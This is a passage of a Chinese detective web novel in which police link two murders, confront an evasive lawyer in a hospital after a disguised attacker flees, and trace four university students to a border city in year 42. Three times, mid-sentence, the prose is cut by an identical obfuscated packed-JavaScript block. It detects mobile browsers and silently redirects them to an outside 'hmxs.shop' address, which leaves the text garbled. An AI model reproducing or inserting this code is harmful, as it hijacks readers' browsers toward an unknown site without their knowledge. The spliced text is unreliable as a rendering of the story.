宫达良,出生于瑟干部落,宫氏家族里强硬主战派,参加过北方部落对政府军的多次战斗;40年被驱逐出部落,同时纹身被洗掉;41年他以隆南难民身份入境,曾短暂在某难民营停留,其后行踪官方无记录。 听到这里,盛苒轻声嘱咐安月见,“小安,你去联系当初那个难民营,看看他们有没有保留指纹或者DNA之类的证据。” 安月见点点头,又继续做总结:“宫达良有名远房堂兄目前正在这个庇护中心,根据相片确定就是死者本人。据他说,宫达良年纪很小的时候就开始和政府军打仗,和其他部落的雇佣军方面有合作。” 雇佣军。 高尚桢的手指在白板边缘停住了。 “这名堂兄本人虽在他被驱逐后就没再见过面,但是听另外一个亲戚提起过,43年中宫达良在蜂罕出现过。这是隆南和我国多个交界地区之一。” “当时宫达良和一个有点瘸腿的外国人在一起,这也是最后一次听说他的消息。至于那个亲戚已在前年去世,更多消息无从得知。” 瘸腿。 一瞬间在场的刑警们都想起了白行人腿上的枪伤,以及那枚神秘的子弹。 办公室里的气氛凝固了。 高尚桢霍然站起身,拿起板擦,将白板右侧的“无名氏”三字擦去,重重写下宫达良三字。 他下笔如飞,白板上很快多出更多信息。 第二案/宫达良 ——时间:九月二十八,凌晨。 ——地点:东城外旧车回收站。 ——死者:中年男性,隆南瑟干部落,宫达家族(注:已被驱逐) ——死因:多次反复窒息,推测死亡时间:凌晨四-五点,过程:三到四个小时。 ——发现者:厂老板。有人打电话修车,注:该电话为一次性号码。 ——当夜凌晨三点:出租车司机王某载一名乘客到达回收站,注:已证实是林律奚。 ——线索1:部落内主战派,疑于雇佣兵相熟, 40年被驱逐出部落,蛇形纹身被洗掉,41年在某难民营短暂停留,43年被人目击在蜂罕和一外国人(我国?)在一起,该外国人有腿疾。 ——线索2: 10月11日,有人潜入警局,将宫达良右臂处罗马VI纹身剜掉,动机未知。 他挑了根红色马克笔,在左侧第一案/白行人下的线索1上重重圈起。 组员的目光追随着他们的组长,那只手稳定而有力,画出条红色直线,线条从左侧白板一路延申,穿过中间空白区域,抵达右侧白板的另外一个红圈。 两条被圈起的信息,此刻被鲜红的线连接在一起。 左侧: ——线索1:左腿外侧中过枪伤,有子弹残片…… 右侧: ——线索1:……43年被人目击在蜂罕和一外国人(我国?)在一起,该外国人有腿疾。 高尚桢扣紧笔帽,轻微的咔哒在寂静的办公室里格外清晰。 他回头看向陷入思考的组员,用毋庸置疑的语气下了结论:“现在可以肯定,我们的并案决定完全正确。白行人案和宫达良案的确有关。”他顿了顿,等待大家彻底消化新旧信息,“还有什么别的要补充吗?任何问题都可以,卫其宏,你先来!” 卫其宏首当其冲被点名,赶紧咽下口中咖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652178|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啡,“组长分析得非常对!”他小小拍个马匹,然后才抛出了疑问,“就是两点不太清楚。” “第一,假设啊,我假设,两名死者都参加过隆南内战,一起对付政府军,白行人腿也因此受伤。这里就有问题了,他的伤是特种子弹打的,这个子弹还不普通,就隆南那么落后还能有这个?而且界老……老界打听回来,这个好像是我们的那个精英部队,叫什么什么枪……” 安月见在旁边小声提醒他,“朗基努斯之枪。” “对!就是这个朗怒枪的子弹吧,难不成我们特种部队参战了?”说到这里,他自己把自己吓了一跳,“哎呀,这就是他信息被列为绝密的原因?” 高尚桢没有回答,迟疑一下,在白行人其他可能线索下添加了一排小字。 ——其他可能线索:中央情报司(?)野战部队士兵?朗基努斯之枪? “继续说第二点。” “第二点是关于林律奚。”卫其宏挠挠头,“从他背景上来看,那可真是上流社会的大少爷。按理说怎么也和这俩人扯不上关系啊,这点我想破头也想不明白。” 他这个问题甩出,刑警们不约而同的点头,显然这个问题同样困扰着其他人。 高尚桢伸出手,在白板底部林律奚的个人资料上敲了敲,“你们发现没有?”他沉声开口,“这里有点不对劲?”他的手指在教育经历那行停下。 38–43年:就读史亚德文理学院,本科,主修经济学 43–46年:中央法学院获法学学位 46年秋:通过司法考试 (证号:XXXXXXX) 安月见第一个反应过来,“38年到43年,他16岁上大学,然后本科读了五年吗?” 盛苒摇摇头,提出异议,“我当时也看到了,不过这些小众文理学院的确有些专业就是五年。” 高尚桢看她,“战争结束后很多学院都改制了。我查过,从37年开始,史亚德学院经济和政治两个专业都改成了四年制,目的是适应战后国内需要。” 盛苒没想到自己居然漏下这样一条关键线索,讶然过后,坦然承认错误,“组长,对不起。我会格外留心这条线索。” 高尚桢不再纠结这个话题,继续道:“现在回看这里的时间线。” “你们还记得白行人战友田光说过什么?白行人38年底提出自己要去做私人安保,我们假设所谓的私人安保就是当雇佣军,而当他43年被人撞见时腿部已受伤。39到43,中间整整四年他不知去向。” 他在白板上写下:白行人:39-43年(四年空白) “再来看宫达良,他41年入境后再没有明确记录,43年回到隆南,41-43,这中间是两年。” 宫达良:41-43年(两年空白) “林律奚大学在读时间是38年到43年,标准学制四年,也就是说,中间有一年是他没在学校。” 林律奚:38-43年(中间有一年空白) “他的背景和两人天差地别,如果说与他们有任何交集……”高尚桢用红笔在"一年空白"四个字上画了个圈,“唯一的线索很可能就是这耽误的一年里。” 白板上的三条时间标注如此清晰。 他转过身,目光灼灼望向盛苒,“好好查,掘地三尺也要把这里面的缘故给挖出来!” 中午时分,程宥无声无息的进入警局。 一反往日,他并没有穿西装,外套是件深色夹克,并没有谈起自己去了哪里,只在走过重新更新了信息的白板时,脚步稍稍一缓。 10. 不速之客 林律奚能够开口说话已经是三天之后的事了,然而盛苒几次探访,都被付助理和杜蒙派来的律师给拦到了病房外,理由是林律师仍旧十分虚弱,而且事起仓促,他受伤应激,什么都不记得,对警方恐怕是爱莫能助。 不仅如此,盛苒还敏锐的察觉出,杜蒙这位律师对红驼城医疗水平颇为鄙夷,大有要包机将林公子送回赛因港老家治疗的打算。两地相距千里,真要转回去势必给调查造成极大麻烦,她第一时间便跟组长报告了这种可能性。 “目前林律奚伤势还相当重,不能随意移动,等好一些随时都可能转院。”盛苒语气颇为严肃,显然医院里杜蒙律师的派头给她留下了深刻印象。 高尚桢嗯了一声,抓起衣服往外走,“我去医院看看。” 盛苒点头,“界至野还在那边盯着,那边的事我就先交给他了。”在组长诧异目光中,她告知另外消息:“史亚德学院那边一直不太配合,还好有当地警方协助,今早总算回了消息。” “林律奚本应在42年夏季毕业,但是他大四时候因病休学一年,所以是43年的毕业生。” 高尚桢拿衣服的动作慢了下来,“从42年休到43年?” 盛苒推推眼镜,再一次对这位比自己年轻的上司发由衷佩服,“和你推测一样,他延迟毕业这一年正好与白行人和宫达良的时间线重叠 。”她接着补充,“这段时间也没查到他有任何出境记录。” 高尚桢呼了口气,努力抑住涌上来的兴奋,“就这些?” 盛苒笑了,“当然不,”她难得开玩笑,“人总不能一块石头绊倒两次嘛。我怕再次漏掉线索,就干脆让警方把那年文理学院延迟毕业的学生都彻查一遍,结果发现除了林律奚之外,还有另外两个大四学生也都有同样的情况。” “一人叫索骁,和林律奚就读同一个系。42年退学之后再也没有返校,目前查不到这个人行踪。” “另一个人就有意思了,”她笑吟吟的望着组长,“方楚,还有印象嘛?” 方楚?好像有点耳熟。 高尚桢揉揉眼眶,试图从装满案件的记忆里翻出这个名字。 是哪个疑犯?还是法政系统的人员? 盛苒再次笑了,“不卖关子了,这位可是在野党的政治新星。他和林律奚并不是同一个系,但同级,而且两家有些亲戚关系。方楚倒没有休学,他42年中转学去了门罗大学,同年十二月毕业。” 高尚桢敏锐的嗅出了不对劲,“最后一年转学?十二月毕业?” “是的,我查了一下,网上猜测是因为他现在的妻子就读门罗,所以他才在最后一年为爱转学。”盛苒停了一下,“不过我倒有个比较不那么正大光明的推测:门罗大学有点特殊,它每年有两个毕业季,分别在六月和十二月。方楚转学去门罗,然后又在十二月毕业……” “这里肯定有问题!”高尚桢挑起大拇指,“干得好!一定继续调查,不放过每条线索!” 盛苒点头,半开玩笑,“只要组长你顶得住,我这就去质询我们的议员大人。” “还有一个。”盛苒翻动着手里的文件 “言行诺,比他们低一级,42年下学期也从学籍上消失了,档案记录是因病去世。不过我觉得还是有必要确认一下,他到底是怎么死的,什么时候死的。” 高尚桢点点头,“你想得很周到。四个学生,42年全都出了问题。林律奚休学,索骁失踪,方楚转学,言行诺去世,这会是巧合吗?” 他从口袋里掏出巧克力,慢慢撕开,“警察永远不能相信巧合。” 高尚桢到达医院的时候,界至野正在门口抽烟,远远的看到他到来,赶紧把烟头掐了,跟着他一道进了住院大楼。 林律奚在二楼尽头的VIP病房,高尚桢不耐烦等电梯,走楼梯直上二楼,刚出楼梯间,远远就见两个便衣守在门外,见他到来急忙敬礼致意。 他点点头,进入长廊,发现VIP病房门关得严严实实,玻璃也被挡住,试着拧动门把手——果然从里面锁住了。界至野凑到他身前:“付助理还有那个律师都在里面,就是不让我们进去。哎,把我们当贼防。” 他正抱怨,门开启道小缝,一位衣冠楚楚的中年律师从内闪出,自称姓刘,一脸戒备的敬告两人:林律师目前刚接受药物注射已经休息了,有什么事以后再说。 高尚桢并没有多纠缠,礼貌谢过他,转身离开。 界至野紧紧跟在他身后,声音压低,“老大,真就这么走了?” 高尚桢冷笑,“就算这俩陪护二十小时盯着,那林律奚还能不吃饭了?”他低头看看手表,马上快到十一点,果断下令:“等送餐的人来我们就一起跟进去。” 界至野答应一声,手指痒痒的,烟瘾又犯了,涎着脸开口:“老大,要不我先出去五分钟?” 高尚桢对这杆老烟枪向来没辙,挥挥手,放他高高兴兴的跑了,自己等在走廊入口处耗时间。 他盯住来来往往的医生病人发呆,还没熬上两分钟,手机突然响了,刚一接通,卫其宏焦急的声音就敲响耳膜,“组长,田光不见了!” 田光?白行人那个战友,现住长罗的那个? 高尚桢心里一激灵,“什么时候的事?人去哪了?” “昨天!他在外跑运输,本来昨天就该回来,可直到今早也没动静。他们公司查了定位,发现从昨天晚上已到长罗郊区,一直没动,去检查结果发现那里只有卡车,没有人。他们就赶紧报警了,长罗警方刚通知我。” 高尚桢握紧手机,眉头紧皱,视线无意识的跟上了一位过路医生,“现场怎么样?” “还不太清楚,那边警方已采集了DNA和指纹,不过他们说现场没有血迹,也没有明显打斗痕迹。” “那还好。”高尚桢下意识的回了一句,仍旧盯着医生的白大褂,“他家里人问过没有?” “问过了,他们说……”卫其宏在那头乌拉乌拉说这说那的,话一句一句飘来,他半个字也没入耳,注意力全部集中在走廊中的医生身上。 奇怪。 医生面戴口罩,白大褂一尘不染,他身材高大,步伐沉稳有力,皮鞋踩在地砖上哒哒脆响,与两名便衣擦肩而过时,还冲他们点头示意。 便衣没有拦他。 奇怪。 高尚桢目光投向医生白大褂的两侧口袋,发现对方两只手始终插在口袋里,只在袖口间露出一截手套黑边。 不是医用手套的白或蓝,是黑色。 ……不对劲。 他匆匆环顾四周,留意到几名医生护士正匆匆走过大厅,几乎每人脚下一双软底鞋,双手袒露在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652179|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外,没有人戴手套。 高尚桢摁下手机,手慢慢移向右侧腰间,指尖触到枪套扣环,轻轻扯开,指节钩住枪柄。 他迅速环顾四下,周围的人与物一瞬化做立体光标,悉数映入视网膜中。 ——六个,不,有个病人开门走出,七个,包括警察在内,走廊里有七个人。 ——背后是医院大厅,四部电梯,平均每两分钟停在二楼一次,会不会突然有其他干扰? ——白大褂口袋里鼓得不正常,应该不只是手,枪?还是刀? 这一瞬无数思绪飞掠脑海,而医生已经快到达长廊尽头. 那是VIP 病房。 高尚桢猛然提高音量,“等等!”话音未落,手枪刹时拔出,直指前方。 被惊到了似的,医生猛地停住脚步,一动不动定在原地,连头也不敢回。 “啊!”极短时间之后,走廊上的病人开始尖叫,两名便衣随即反应过来,一个拔腿就追,另一个急忙拔枪。 医生的肩膀微微绷紧着,似乎很紧张,他脚步轻移,不知是否打算转身解释。 然而下一秒,他猛地冲向旁边窗户,眨眼间,玻璃窗已被一把扯开。 高尚桢眼前陡花,那道白衣身影闪电般跃上窗前,短短一瞬后,白影便自长廊中彻底消失,只剩玻璃窗大敞四开,纱帘在风中鼓荡。 高尚桢奔到窗前,低头外望,只见有道白色人影落入草丛,向前一滚卸去冲击,很快起身飞奔。 医院二楼,至少五米高。 那道人影动作流畅,全无半点受伤迹象,转眼就消失于重重树影中。 高尚桢懊恼的捶下窗台,掏出手机呼叫支援。 很快二楼就被警方团团包围,界至野也一早赶回,听到组长简单叙述事情,恨不得抽自己嘴巴,一通再不抽烟的赌咒发誓之后,左右觑觑见无人留心,凑上前小声问:“老大,是不是同一个人?” 这套誓言高尚桢听了没有一百也有八十遍,再加上那副鬼鬼祟祟的样子,更让他没好气:“今天这家伙比你都高都壮,你说是不是?” 界至野嘿嘿一乐,“那肯定不是了。”——潜入警局的黑影算上内增高都一米七不到,身形瘦削,自然不会是同一人。 可这样一来就更加奇怪了,难道有俩人? “五分钟,”高尚桢若有所思,“你刚才去抽烟也就五分钟。” 界至野脸色变了,“老大,你是说有人在监视我们?" “监视的不见得是我们。”高尚桢摸着下巴,目光锐利异常,“他们知道林律奚在哪个病房,知道有警察守着,也知道什么时候下手,就在你离开只剩两个便衣的时候。" 界至野后背冒出冷汗,见老大脸黑得跟锅底似的,瞅自己的眼神都不对,赶紧以去调监控的名义溜之大吉。 外边这通混乱自然惊动了VIP病房,待警方充分布置完毕后,里面的人才慢慢走出。 付助理脸色煞白,身体微微颤抖;刘大律师也显得很紧张,不再像一个小时之前那么气焰嚣张,在高组长介绍过情况后,他勉强同意等下午林律奚醒来,双方可以见面交谈。 高尚桢最后那句话撼动了他。 “林律师两次都很走运。”高尚桢平静看着那道紧闭的门,“但运气不会永远站在他这边。” 11. 病床上的询问 拿到询问林律师的通行证后,高尚桢第一件事就是给卫其宏拨电话,那头传来的消息出乎意料:田光被找到了,虽然被揍个半死,还好没全死。 “……在条沟发现的,晚一点估计就够呛。”车子轰鸣中卫其宏的声音断断续续,“……是,他被送医院了,组长。……对,我和安月见正在去长罗的路上。” 得知这场骚乱之后,调查官程宥赶在高尚桢与林律奚见面之前来到医院,他先与界至野一道看了监控视频,得出了和高组长相同的结论:今天这个人,无论步伐还是身形,都和潜入警局的那道黑影大相径庭。 其他的……其他的就没有了。 假医生脸上遮了口罩,头戴医用帽,又全程几乎都背对摄像装置,实在是什么也看不出来,大概只有身高体壮的粗略印象,分析组那边说他们可以给出这个人的身高体重,更具体的也行,譬如颅骨大小,腿部长度什么的。 ——我要这些数字干什么?让红驼几十万成年男性都过遍X光? 高组长再一次对现代摄影技术无语,好在他原本也没抱多大希望,倒是注意到调查官即使匆匆赶来,今日依旧西服笔挺,上面半根杂毛也没有。 袭击事件当日下午两点,高尚桢和程宥共同进入VIP病房。 林律奚半躺在病床上,面色苍白,眼神清醒。 调查官的到来似乎在他意料之外,程宥走进门的一瞬间,他的瞳孔骤然如针尖般缩紧,喉结也轻轻滚动一下。 他飞快的抽回目光,重新投向窗外。 除他之外,病房内只有刘律师在场,虽在压力下勉强同意这次会面,但这位律师依旧满脸严肃,如临大敌。 高尚桢拉过张椅子坐下,程宥静静站在门口。 林律奚左袖卷起,一滴滴透明液体正从输液架上的胶管里滴入静脉中。他的眼神也跟这液体一样,无色又无声,对高尚桢的自我介绍和关心问候保持沉默,不做回应,只是微微调整姿势,让自己看起来更正式一些。 高尚桢并不嫌冷场,自顾自翻开记录本,从口袋里抽出笔,“林律师,能告诉我们你三天前,也就是遇袭那晚出了什么事吗?” “高警官。”林律奚声音轻弱,却很稳定,“我想确认一下,这是正式的询问程序吗?我需要知道我的法律地位,我是证人,还是嫌疑人?” 这什么见鬼的开场白。 高尚桢预感到这场询问绝不会顺利,他挑了挑眉,尽量让自己显得笑容可掬,"你是受害者,林律师,有人试图杀你。" “谢谢你。”林律奚平静地说,“我愿意配合,只要警方询问在合理范围内。” “关于你刚才的问题,情况是这样的。” “当时我在处理一份合同,大概八点左右,办公室灯突然熄灭,我以为是跳闸,正准备查看,突然觉得胸口一痛。” 他停顿片刻,手指轻轻摩挲着床单,似在思索,“之后的事比较模糊,我记得自己倒下了,试图呼救,但发不出声音,再醒来的时候已经在医院。" “你看到了袭击者了吗?” “没有,事情发生得太快。”林律奚虚弱的摇头否认。 “一点也没有看见?或者听到什么也行,哪怕很小的线索也有帮助。” “没有。”林律奚神色遗憾,回答流利:“当时天色很晚,办公室没有灯,我没有看见什么。” 高尚桢盯住他,一字一字重复他的话,“没有灯,天又黑,所以你什么也没看见?” 林律奚闭了闭眼,勉强点头,大概又牵扯到伤处,额头渗出一层层薄汗,这时候的他看起来憔悴而脆弱,十分可怜,站在一旁的刘律师面露紧张,下意识的抬腕看表。 高尚桢一点也不觉得他可怜,“你确定自己什么也没看见?一个人影也没有?男女胖瘦都没看清楚?” 林律奚浅浅呼口气,声音淡得听不清,“对。” 高尚桢将本子一合,“林律师,我们这里是红驼城,现在刚进十月,八点多太阳才落山。我去过你的办公室,白天晚上采光都很好,而三天前也不是阴天。” 他从怀里掏出手机,点开一段录像,将手机屏幕转向对面两位律师,“我做了个实验,这是第二天同时间段去你办公室拍下的。” 手机录像里是一间装修豪华的办公室,西南向的落地窗被夕阳染出一片橙橙金色,墙上钟表清晰的指向八点二十。房间里没有开灯,却完全不见昏暗, 林律奚只扫了一眼,忽然伸手压上胸口,呼吸也跟着粗重,刘律师赶紧上前查看,又要去按床头的呼叫按钮通知护士,却被他出声阻止。 林律奚支起眼皮瞥了眼高尚桢,虽然在喘息中,声音依旧沉稳,“我在工作的时候,一般都很专注,很难注意其他的事,之后又受伤应激,记忆力受损很正常。” 他喘了两口气,神色愈发凝重,“如果警方期待我编造一个‘凶手长相’的证词来帮助你破案,抱歉,我拒绝。这是律师的基本操守。” 他摇摇头,微微感慨,“其实我也想不通为什么会发生这种事,是不是入室抢劫?”他看向高尚桢,态度诚恳得滴水不漏,“听说红驼城治安近些年很有改善,真希望警方能早日抓住罪犯。” 这家伙…… 高尚桢身体前倾,探进他清黑的瞳孔,良久后,以同样诚恳的态度做出回答:“林律师,你知不知道刺伤离你心脏就1公分?”他举起手,食指和拇指比出短短的距离,“就差这么样的一线,林律奚,我现在可能就在经办你的凶杀案了。” 他长长嘘了口气,“这种情况下你还要袒护凶手吗?” 他这话一出口,连病床另一侧的刘律师都变了脸色,他飞快扫一眼病人,眼底露出些许迟疑。 林律奚避开刑警凝注的视线,他抿紧了嘴唇,眼皮微低,神色一片空白。 过了很久,他疲倦而缓慢的声音终于再度响起,“谢谢你的关心,警官,不过我觉得自己目前还在应激状态,回忆模糊,也许以后会想起来吧。” 他的视线仿佛在无意中扫过门边,摩梭床单的手指停了一瞬。 程宥静静站在那里,像一道影子。 高尚桢失望的叹口气,站起身,有些自嘲的开了口,回头看向程宥,“看来今天又是无功而返的一天啊,是不是,调查官?” 程宥微微一笑,不置可否。 高尚桢目光游移的林律奚,又看看床对侧面色复杂的刘律师,拍拍本子,好心提醒,“想必你们也知道,上午有人试图袭击,我会再调队警员来保护。”他摇摇头,“不过这一天抓不住凶手,就一天无法安心。你说对不对,刘律师?” 刘律师神色郑重,声音淡淡的不含温度:“作为纳税人,我们对警方的保护工作衷心表示感谢。” 高尚桢笑了一下,将笔和本子朝兜里一塞,“行吧,走了走了。”他一把推开椅子,转身就朝门口走,刚走出两部,像想起什么似的,蓦然回头看向病床上的伤者,“对了,你看我这记性,有个事忘了告诉林律师。” 林律奚抬眼,与他四目相对,神色有稍许严肃。 高尚桢拍了拍自己脑门,“我刚才忘了说,”他加快语速,“汽车回收站死者身份查明了,他叫宫达良,是隆南反政府武装分子,长期活跃在隆南和我国交界处。” 他盯住孱弱病人,“林律师,你对这个人有印象吗?” 林律奚明显愣了一下,似乎初次听到这个名字。他眉头微微皱起,像在脑中搜索这个名字,但显然什么都没找到。 他最后望了一眼程宥,然后仰回枕头里。 ——没有似乎。他对这个名字一无所知。 离开VIP病房的高组长,心中有了判断。 除此之外,这趟医院之旅也并非真如他所说,无功而返。 所谓敲山震虎,山没敲动,却惊动了老虎。一周后,高尚桢收到刘律师的电话,告知他林律奚准备转离纪念医院,转入本地一家私人疗养院,希望警方能多派精英加以保护。 收获还不止如此,在这一周内,高尚桢有了另外两条更明确的信息。 第一,白行人的战友田光虽然受到袭击,好在并不致命,经过救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652180|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 治两天后已经可以开口。 他告诉卫其宏,他到达长罗郊区时已是晚上十一点,路上冒出一台警车将他截下,在他刚停好车,有名戴墨镜的警察就将他揪下车,他来不及开口,先被暴揍一通,然后问他白行人的事,回答稍有迟疑就是一记重拳,在胁迫之下,他完全不敢隐瞒,就将白行人九月十三来家中做客,然后第二天消失,警方在炼油厂发现其尸体,然后又从自己家中取走行李等等全部说了。 假警察将他打晕,丢到十几公里外的一条干涸水沟里,如果不是发现及时,就西部沙漠这个大太阳,他迟早得脱水而死。 当时天色太晚,假警察又戴墨镜,田光的描述对追查袭击者基本没有任何帮助,只有“身材高大”“口音很重”几个字。这让高尚桢立刻联想到医院遭遇的假医生,再加上田光遇袭恰好就是在之前一晚,更加重了两者的联系,可惜唯一的当事人拿不到更多信息,他也只能叮嘱卫其宏多跟一下,看看能不能再挖出点东西来。 除此之外,他们也收集到了更多关于林律奚过去的背景信息。 盛苒连夜飞到凌顿市,尝试联系那位和林律奚同期离开史亚德学院,目前在此地担任在野党议员的方楚,但这位风头正劲的政治新星,完全没有意图搭理来自这个边境城市的小警察,她三番四次的努力都以“方议员公务繁忙”的理由而失败。 盛苒并没有就此放弃,她很快了解到在同批毕业生中,有位报社编辑目前在凌顿工作,于是直接找上门去。 她社交功力了得,碰巧这位女编辑也相当豪爽健谈,两位女士一见如故,干脆约了个时间去酒吧。 在鸡尾酒的加持下,盛苒对几位当事人的背景有了更多了解,不仅如此,她还拿到了另外一条完全在意料之外的情报。 以下来自该编辑口述。 “林律奚啊,在我们那届可真是大名鼎鼎。毕竟他出身在那儿,再说又长得那么帅。其他的嘛,他脾气不错,成绩拔尖,当然这里面有多少加分就不知道了。” “他只和他们那个小圈子里的人在一起玩,林律奚,方楚,还有几个我们也不太熟的,反正都是我们高攀不起的。 ” “……你问多修一年怎么回事?他大四下学期突然因病休学,挺奇怪的,本来肯定我们这届荣誉毕业生肯定是他。听下级学妹说他参加了下一级的毕业典礼,在那以后就再没见过,只知道去了苍都读中央法学院,后来进入他爷爷的律所,就这些。” “索骁啊,他也是我们同学,小地方来的,话很少,人挺内向。” “刚才我不是说林律奚只跟他那个小圈子里的人玩吗?索骁是个例外,可能因为他俩是室友吧,两个人关系很好,反正我们都觉得索骁就跟他影子似的。当时班上也有不少说闲话的。你懂的,虽然文理学院的学生很多都非富即贵,但是能抱上林家大腿那还是不一样啊。” “最奇怪的就是这里。大四下学期,林律奚休学,连带着索骁也不见了。学校那边说是家里出事自愿选择退学。当时同学都议论纷纷,还有人传俩人是不是私奔了。这纯属胡说八道。不过确实没人再见过索骁,也没人听过他的消息。说真的,感觉就像这个人从来没存在过一样。” ” “你问方楚?他现在可是大人物啊。他是隔壁政治系的,不过和我们挺熟,这个人特别风趣,你说风流也可以。他家里很厉害的,和林律奚很熟,我好像记得听谁说两家是亲戚,不知是不是真的。” “大四开学他也没影了,你说大家能不议论纷纷嘛?不过人家背景厉害嘛,学校那边很快就压下去了,再说当时是毕业季,大家都忙得人仰马翻的,议论一阵也就过了。等后来方楚回来参加学校校庆,才知道他转学去了门罗,不过大四时候他们系里真没人知道这个消息。” “这就是我差不多知道的全部,主要是林律奚啊方楚啊,他们往来的都不是我们这种普通学生,他们是另一个阶层的人。” “……你说谁我不一定认识?言行诺?认识啊,当然我认识他,他不认识我,哈哈。他是下一界的学弟,也在林律奚那个贵人圈。” 12. 案件编号:50-NL-HT-1016-11 接到盛苒发回来的报告后,高尚桢第一时间就组织了个临时会议,当年四名学生的情况总结如下。 林律奚 38-43年,就读于史亚德文理学院,主修经济学, 42-43年休学 索骁 38-42年,就读于史亚德文理学院,主修经济学,42年退学 行踪不明。 方楚 38-42年,就读于史亚德文理学院,主修政治学,42年中转学。 言行诺 38-42年,就读史亚德文理学院主修心理学 42年去世。 “大家怎么看?卫其宏,你话多,你先说。” 卫其宏又被首先点名,碍于气氛严肃,把“其实我话一点不多”的辩解咽回肚,他拉了下衣角,边思考边开口,“……我觉得吧,这几个学生交往密切,我们可以认为他们是一个小团体,就叫团体A吧,团体A的四个人都在同一年出事,死亡的,失踪的,休学的,转学的,这肯定不是偶然。” “联系到之前两起案件中死者白行人和宫达良,可以确认两个人认识,他们俩也属于一个小团体,我们可以称呼叫团体B。目前团体B成员不详,但至少有两人在41-43年间行踪异常。” “林律奚在宫达良的凶案现场出现,绝对不可能是像他胡扯的什么半夜三更去给客户勘察土地,和他有交集的要么死者,要么是凶手,或者两者都有。我们可以大胆假设,他所在的团体A和团体B可能有交集。” “更大胆一点,也许就在42年,这个团体A和团体B有过接触,这个接触结果显然不妙,所以导致学生团体A有人死了,有人失踪,剩下的也不得不休学和转学。” 高尚桢点点头,接上一句,“昨天我试探过林律奚,从反应看他应该并不认识死者本人。” 卫其宏哑了一下,“那就是认识凶手?”他觉得自己脑袋有点疼,“不管怎么说吧,如果这个假设成立的话,我们面临的最大问题是要怎么确认这个团体A和B有交集。” “可从目前来看,A和B,无论是从身份,社会背景,活动范围,还是交往圈子等等,都没有任何能发生交集的地方。” 这时安月见的手举了起来,“会不会私人恩怨?或者涉及家族利益之类的?” 卫其宏挠挠头,“当然不排除这种可能,确实,这几个学生家里很牛,不过他们都是大学生,再有什么也扯不到他们吧。” “再说那个叫索骁的学生出身普通,更不会卷入到这种豪门恩怨里。” “所以我猜这里面可能有个很偶然的因素,”他左右手握拳,攥起互相碰了碰,“让这两个团体在同一时间,同一个地点,发生接触。这个学生团体A很可能被动卷入,所以和团体B有了牵连。” 界至野在旁边突然开口,“要我看这种可能性不小,你看这俩死者,一个退役了在外国当雇佣兵,另外一个也是常年打内仗的部落战士,这样的人在我们境内也消停不了。如果他们想弄钱弄枪的话,这伙学生好靶子啊,一个个不是富二代就是官三代的。” 这时,坐在近门位置的程宥忽然开了口,这还是他在这间会议室里的初次发言,“言行诺在哪里去世?” 盛苒看他一眼,“我托了内部人继续查,稍晚会有信息,但也可能查不到什么。” 高尚桢扫一眼调查官,对方仍旧如同前一次一样,双腿并拢,手握矿泉水瓶,除了开口问问题,始终保持着纹丝不动的姿势。 他不动声色,扶桌站起,“大家注意收集线索,再小也不要放过,散会!” 盛苒再次动用她的关系,两天之后,言行诺去世的具体时间和地点终于清楚了:42年1月,南部联区,黑夏川。 高尚桢听到这个地名,稍稍一愣,他看向盛苒,“这是不是你之前去查白行人的那个城市?” 盛苒点头,“就是112部队所在地。”说着接过笔,在白行人的信息栏上补上黑夏川三字。 高尚桢很有点震惊,“大学在赛因港,属于东部联区,黑夏川在南部联区,最南侧边境。言行诺去那边干什么?旅游?”他思绪快速飞纵,“不对,他不是一个人去!所有学生当时都应该在黑夏川,对!这就是为什么他们会碰到白行人宫达良!” 刑警们在盛苒进入时已从各自位置上站起,面色也随着组长语速越来越快而逐渐凝重。 拼图一块块飞起,在高尚桢脑海中重新调转方向,排列组合,“他们要从赛因港去黑夏川,两地相距上千公里,肯定他要用到交通工具……嗯,这么远,一定是飞机……” “航空记录!卫其宏!”他眼睛发亮,直接点将,“你去法院申请传票,向几个航空公司调取42年1月1号到1月16之间的所有记录,一定是从赛因港到黑夏川,记住,小型客机或者私人飞机也不要放过!” 卫其宏一声利落的YES SIR,转身冲下楼开车去法院。 高尚桢又把转身想走的盛苒叫住,“你去再问问白行人那个团长,看看还有什么新线索?” 盛苒狡黠一笑,“这个事可以交给小安做,马上竞选季了,我还要再接再厉给大议员打电话,问问他对治安情况的看法。” 高尚桢笑了,他看着盛苒离去的背影,深呼口气,发觉在周围突然加速的节奏里,唯有一人始终平静。 程宥的目光透过棕色镜片,落上了刚刚出现在白板上的黑夏川三字。 高尚桢来到他身边,状似无意的开口,“调查官怎么想到要问言行诺的去世地点?” 程宥缄默了两秒,以同样不在意的态度回复,“只是凑巧。” ================================= 